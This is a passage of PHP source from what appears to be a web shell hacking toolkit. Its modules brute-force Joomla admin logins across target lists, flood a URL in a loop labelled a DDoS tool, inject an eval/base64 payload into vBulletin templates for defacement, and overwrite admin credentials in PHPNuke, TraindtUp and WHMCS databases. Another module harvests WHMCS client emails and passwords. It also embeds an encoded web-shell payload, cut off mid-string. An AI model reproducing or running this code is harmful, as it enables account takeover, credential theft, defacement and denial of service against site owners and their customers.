3828if($_POST['x']){
3829echo "<hr>";
3830$sites = explode("\n",$_POST["sites"]);
3831$w0rds = explode("\n",$_POST["w0rds"]);
3832$Attack = new Joomla_brute_Force();
3833foreach($w0rds as $pwd){
3834foreach($sites as $site){
3835$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
3836flush();flush();
3837} } }
3838
3839
3840function txt_cln($value) {
3841return str_replace(array("\n","\r"),"",$value);
3842}
3843
3844class Joomla_brute_Force{
3845public function check_it($site,$user,$pass){
3846
3847if(eregi('com_config',$this->post($site,$user,$pass))){
3848echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
3849$f = fopen("Result.txt","a+");
3850fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n");
3851fclose($f);
3852flush();
3853} else {
3854echo "# Failed : $user:$pass -> $site<BR>"; flush();
3855}
3856}
3857
3858public function post($site,$user,$pass){
3859$token = $this->extract_token($site);
3860$curl=curl_init();
3861
3862curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3863curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3864@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3865@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3866curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3867@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3868curl_setopt($curl,CURLOPT_POST,1);
3869curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
3870curl_setopt($curl,CURLOPT_TIMEOUT,20);
3871
3872$exec=curl_exec($curl);
3873curl_close($curl);
3874return $exec;
3875}
3876
3877public function extract_token($site){
3878$source = $this->get_source($site);
3879preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
3880return $token[1][0];
3881}
3882
3883public function get_source($site){
3884$curl=curl_init();
3885curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3886curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3887@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3888@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3889curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3890@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3891curl_setopt($curl,CURLOPT_TIMEOUT,20);
3892
3893$exec=curl_exec($curl);
3894curl_close($curl);
3895return $exec;
3896}
3897}
3898}
3899
3900
3901
3902elseif(isset($_GET['x']) && ($_GET['x'] == 'phpddos')) {
3903?>
3904<form action="?dm=<?php echo $pwd; ?>&x=phpddos" method="post">
3905
3906
3907<?php
3908
3909echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
3910
3911
3912
3913if($_GET['urldd0'] && $_GET['timedd0']){
3914for ($id=0;$$id<$_GET['timedd0'];$id++){
3915$fp=null;
3916$contents=null;
3917$fp=fopen($_GET['urldd0'],"rb");
3918
3919while (!feof($fp)) {
3920
3921$contents .= fread($fp, 8192);
3922}
3923fclose($fp);
3924}
3925}
3926}
3927
3928
3929
3930# x=cloud
3931elseif(isset($_GET['x']) && ($_GET['x'] == 'cf')){
3932echo '<center><br/><br/>
3933<form method="POST">
3934<select class="inputz" name="krz">
3935<option>FTP</option>
3936<option>DIRECT</option>
3937<option>WEBMAIL</option>
3938<option>CPANEL</option></select>
3939
3940<input class="inputz" type="text" name="target" value="url">
3941<input class="inputzbut" type="submit" value=" >> "></center>';
3942
3943
3944$target = $_POST['target'];
3945
3946if($_POST['krz'] == "ftp") {
3947$ftp = gethostbyname("ftp."."$target");echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3948Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
3949}
3950
3951if($_POST['krz'] == "direct-connect") {
3952$direct = gethostbyname("direct-connect."."$target");
3953echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3954Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
3955}
3956
3957if($_POST['krz'] == "webmail") {
3958$web = gethostbyname("webmail."."$target");
3959echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3960Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
3961}
3962
3963if($_POST['krz'] == "cpanel") {
3964$cpanel = gethostbyname("cpanel."."$target");
3965echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3966Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
3967}
3968}
3969
3970
3971# x=vb1
3972elseif(isset($_GET['x']) && ($_GET['x'] == 'vb1')){
3973?>
3974<form action="?dm=<?php echo $pwd; ?>&x=vb1" method="post">
3975
3976
3977<br><br><br><div align="center">
3978<?php
3979if(empty($_POST['index'])){
3980echo "<center><form method=\"POST\">
3981DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
3982DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
3983DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
3984DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
3985<br>
3986<textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
3987<input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
3988</form></center>";
3989}else{
3990$localhost = $_POST['localhost'];
3991$database = $_POST['database'];
3992$username = $_POST['username'];
3993$password = $_POST['password'];
3994$index = $_POST['index'];
3995@mysql_connect($localhost,$username,$password) or die(mysql_error());
3996@mysql_select_db($database) or die(mysql_error());
3997
3998$index=str_replace("\'","'",$index);
3999
4000$set_index = "{\${eval(base64_decode(\'";
4001
4002$set_index .= base64_encode("echo \"$index\";");
4003
4004
4005$set_index .= "\'))}}{\${exit()}}</textarea>";
4006
4007echo("UPDATE template SET template ='".$set_index."' ") ;
4008$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
4009
4010if($ok){
4011echo "!! update finish !!<br><br>";
4012}
4013}
4014}
4015
4016// x=traindt
4017elseif(isset($_GET['x']) && ($_GET['x'] == 'traindt')) {
4018// password changer
4019?>
4020<form action="?dm=<?php echo $pwd; ?>&x=traindt" method="post">
4021
4022<?php
4023echo "<html><head><title>TraindtUpLoginChanger</title></head>";
4024echo "<body><center>
4025<h2>^_^ DM_ZONE ^_^</h2>
4026<h3>TraindtUp UsEr-PaSs FuCk3r</h3>
4027<form method=POST action=''>
4028DB HOST<br/>
4029<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4030DB NAME<br/>
4031<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4032DB USER<br/>
4033<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4034DB PASSWORD<br/>
4035<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4036<hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
4037<input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/>
4038NEW ADMIN LOGIN USER<br/>
4039<input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4040NEW ADMIN LOGIN PASS<br/>
4041<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4042
4043<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4044
4045$anu1 = $_POST['anu1'];
4046$anu2 = $_POST['anu2'];
4047$anu3 = $_POST['anu3'];
4048$anu4 = $_POST['anu4'];
4049@mysql_connect($anu1,$anu3,$anu4);
4050@mysql_select_db($anu2);
4051
4052$idmaho=str_replace("\'","'",$idmaho);
4053$target_id = $_POST['idmaho'];
4054
4055$userbaru=str_replace("\'","'",$userbaru);
4056$ganti_user = $_POST['userbaru'];
4057
4058$passbaru=str_replace("\'","'",$passbaru);
4059$hash_pass = $_POST['passbaru'];
4060$ganti_pass = md5($hash_pass);
4061
4062$sodok1 = "UPDATE admin SET admin_user ='".$ganti_user."' WHERE admin_id ='".$target_id."'";
4063$sodok2 = "UPDATE admin SET admin_password ='".$ganti_pass."' WHERE admin_id ='".$target_id."'";
4064
4065$oke=@mysql_query($sodok1);
4066$oke=@mysql_query($sodok2);
4067if($oke)
4068{
4069echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4070}
4071}
4072
4073// x=nuke
4074elseif(isset($_GET['x']) && ($_GET['x'] == 'nuke')) {
4075// password changer
4076?>
4077<form action="?dm=<?php echo $pwd; ?>&x=nuke" method="post">
4078
4079<?php
4080echo "<html><head><title>PHPNukeLoginChanger</title></head>";
4081echo "<body><center>
4082<h2>^_^ DM_ZONE ^_^</h2>
4083<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
4084<form method=POST action=''>
4085DB HOST<br/>
4086<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4087DB NAME<br/>
4088<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4089DB USER<br/>
4090<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4091DB PASSWORD<br/>
4092<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4093<hr style='color:lime;'>
4094
4095TARGET PREFIX<br/>
4096<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
4097NEW ADMIN LOGIN USER<br/>
4098<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4099NEW ADMIN LOGIN PASS<br/>
4100<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4101
4102<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4103
4104$anu1 = $_POST['anu1'];
4105$anu2 = $_POST['anu2'];
4106$anu3 = $_POST['anu3'];
4107$anu4 = $_POST['anu4'];
4108@mysql_connect($anu1,$anu3,$anu4);
4109@mysql_select_db($anu2);
4110
4111$userbaru=str_replace("\'","'",$userbaru);
4112$ganti_user = $_POST['userbaru'];
4113$passbaru=str_replace("\'","'",$passbaru);
4114$hash_pass = $_POST['passbaru'];
4115$ganti_pass = md5($hash_pass);
4116
4117$prefix = $_POST['prefix'];
4118$table_name1 = $prefix."users" ;
4119$table_name2 = $prefix."authors" ;
4120
4121$okenuke1 = "UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
4122$okenuke2 = "UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
4123$okenuke3= "UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
4124$okenuke4 = "UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'";
4125
4126$oke=@mysql_query($okenuke1);
4127$oke=@mysql_query($okenuke2);
4128$oke=@mysql_query($okenuke3);
4129$oke=@mysql_query($okenuke4);
4130if($oke)
4131{
4132echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4133}
4134}
4135
4136# x=dmwhmcs9
4137elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs9')) {
4138?>
4139<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs9" method="post">
4140
4141 <p><br/><body>
4142<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b></nobr><br/><br/>
4143<p><form method="post">
4144<table border=1>
4145<tr><td>Hosting Site </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" value="http://" name="url"></td></tr>
4146<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr></table>
4147<br></form></center>
4148
4149<?php
4150@error_reporting(0);
4151@ini_set('log_errors',0);
4152@ini_set('error_log',NULL);
4153if(isset($_POST['plapon'])){
4154$target = $_POST['url'];
4155$bukadikitjoss = fopen("$target/?licensedebug","r");
4156$hasil = '';
4157while (!feof($bukadikitjoss)) {
4158$hasil .= fread($bukadikitjoss, 8192);
4159}
4160echo "<center><textarea style='color:#FF0000;background-color:#000000' cols='40' rows='15'>$hasil</textarea>";
4161}
4162echo "</table>";
4163}
4164
4165 # x=dmwhmcs1
4166elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs1')) {
4167?>
4168<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs1" method="post">
4169
4170<p><br/><body>
4171<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ GRAB PASSWORD</span> <span class="b8">CLIENT HOSTING ]:=O</span></b></nobr><br/><br/>
4172<p><form method="post">
4173<table border=1>
4174<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4175<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4176<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4177<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4178<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4179
4180</table>
4181<br></form></center>
4182
4183<?php
4184if(isset($_POST['plapon'])) {
4185
4186$perawan = $_POST['anu1'];
4187$kimcil = $_POST['anu2'];
4188$janda = $_POST['anu3'];
4189$hotel = $_POST['anu4'];
4190function get_string_between($string, $start, $end){
4191$string = " ".$string;
4192$ini = strpos($string,$start);
4193if ($ini == 0) return "";
4194$ini += strlen($start);
4195$len = strpos($string,$end,$ini) - $ini;
4196return substr($string,$ini,$len);
4197}
4198@mysql_connect($perawan,$kimcil,$janda);
4199@mysql_select_db($hotel) or die ("Gagal Koneksi Ke Database");
4200$query="select subject,message from tblemails";
4201$result=mysql_query($query);
4202mysql_close();
4203$num=mysql_numrows($result);
4204$i=0;
4205while ($i < $num) {
4206$css =mysql_result($result,$i,"subject");echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4207<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr>
4208<th align='center'><b>CLIENT EMAIL</b></th>
4209<th align='center'><b>CLIENT PASSWORD</b></th>
4210</tr>";
4211
4212
4213if(stristr($css,"Welcome")){
4214$s =mysql_result($result,$i,"message");
4215if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
4216$mail= get_string_between($s,"Login Username: ","<br />");
4217$m2 = get_string_between($s,"Email Address: ","<br />");
4218$pass = get_string_between($s,"Password: ","</p>");
4219print $mail.$m2.":".$pass."<br>";
4220
4221echo "<tr>
4222<td align='center'>$mail.$m2.</td>
4223<td align='center'>".$pass."</td>
4224</tr>";
4225}
4226}
4227++$i;
4228}
4229}
4230echo "</table>";
4231}
4232
4233# x=dmwhmcs3
4234elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs3')) {
4235?>
4236<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs3" method="post">
4237 <p><br/><body>
4238<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ PASSWORD</span> <span class="b8">CHANGER ]:=O</span></b></nobr><br/><br/>
4239<p><form method="post">
4240<table border=1>
4241<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4242<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4243<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4244<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4245<tr><td>id_admin</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="1" name="idmaho"></td></tr>
4246<tr><td>new_username</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hacker" name="userbaru"></td></tr>
4247<tr><td>new_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hackerpassword" name="passbaru"></td></tr>
4248
4249<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4250</table>
4251<br>
4252</form>
4253</center>
4254
4255<?php
4256if(isset($_POST['plapon'])) {
4257$anu1 = $_POST['anu1'];
4258$anu2 = $_POST['anu2'];
4259$anu3 = $_POST['anu3'];
4260$anu4 = $_POST['anu4'];
4261@mysql_connect($anu1,$anu2,$anu3);
4262@mysql_select_db($anu4);
4263
4264$idmaho=str_replace("\'","'",$idmaho);
4265$target_id = $_POST['idmaho'];
4266$userbaru=str_replace("\'","'",$userbaru);
4267$ganti_user = $_POST['userbaru'];
4268$passbaru=str_replace("\'","'",$passbaru);
4269
4270$hash_pass = $_POST['passbaru'];
4271$ganti_pass = md5($hash_pass);
4272
4273$colox = "UPDATE tbladmins SET username ='".$ganti_user."' WHERE id ='".$target_id."'";
4274$coloxx = "UPDATE tbladmins SET password ='".$ganti_pass."' WHERE id ='".$target_id."'";
4275
4276$udah_ganteng=@mysql_query($colox);
4277$udah_ganteng=@mysql_query($coloxx);
4278if($udah_ganteng)
4279{
4280echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4281}
4282}
4283
4284}
4285
4286
4287# x=dmwhmcs2
4288elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs2')) {
4289?>
4290<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs2" method="post">
4291 <p><br/><body>
4292<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ INJECT </span> <span class="b8">SHELL ]:=O</span></b></nobr><br/><br/>
4293<p><form method="post">
4294<table border=1>
4295<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4296<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4297<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4298<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4299<tr><td align="center" colspan="2"> <textarea style='color:red;background-color:#000000' rows='10' cols='67'
4300name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9